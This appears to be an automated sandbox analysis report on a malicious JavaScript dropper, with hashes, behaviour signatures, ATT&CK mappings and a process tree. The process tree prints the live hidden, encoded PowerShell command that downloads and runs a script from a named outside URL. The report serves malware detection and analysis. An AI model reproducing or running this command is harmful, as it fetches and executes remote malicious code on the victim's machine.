381a5f54a0938c0d931478e744ee7233c70f639fbaf0f1799be54a0149735bf2

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24-12-2023 20:17

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General

Target

105d3e5738461fc9264399630f1b06ac.js
Size

136KB
MD5

105d3e5738461fc9264399630f1b06ac
SHA1

53befad5d1bbbf1cb6893f2162a775758f9231ee
SHA256

381a5f54a0938c0d931478e744ee7233c70f639fbaf0f1799be54a0149735bf2
SHA512

d4fdd5c48bd2af9c52705aa63d4ecd66312cbde00d470e0645dd5998d8b82c1d2e2c5a9b4c19cdc19471223fa7f4bd55aa2f75db38a7e253ded6854ed72bf0a0
SSDEEP

3072:i2p4TdQHfEoRzvwH9Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8V:iEP0H9Ry9RuXqW4SzUHmLKeMMU7GwWB6

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2704	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2704	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2704	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 2332	2168	wscript.exe	28
PID 2168 wrote to memory of 2332	2168	wscript.exe	28
PID 2168 wrote to memory of 2332	2168	wscript.exe	28
PID 2332 wrote to memory of 2704	2332	cmd.exe	30
PID 2332 wrote to memory of 2704	2332	cmd.exe	30
PID 2332 wrote to memory of 2704	2332	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\105d3e5738461fc9264399630f1b06ac.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2704-5-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

Download
memory/2704-7-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-6-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

Filesize
32KB

Download
memory/2704-8-0x0000000002570000-0x00000000025F0000-memory.dmp

Filesize
512KB

Download
memory/2704-9-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-10-0x0000000002570000-0x00000000025F0000-memory.dmp

Filesize
512KB

Download
memory/2704-11-0x0000000002570000-0x00000000025F0000-memory.dmp

Filesize
512KB

Download
memory/2704-12-0x0000000002570000-0x00000000025F0000-memory.dmp

Filesize
512KB

Download
memory/2704-13-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download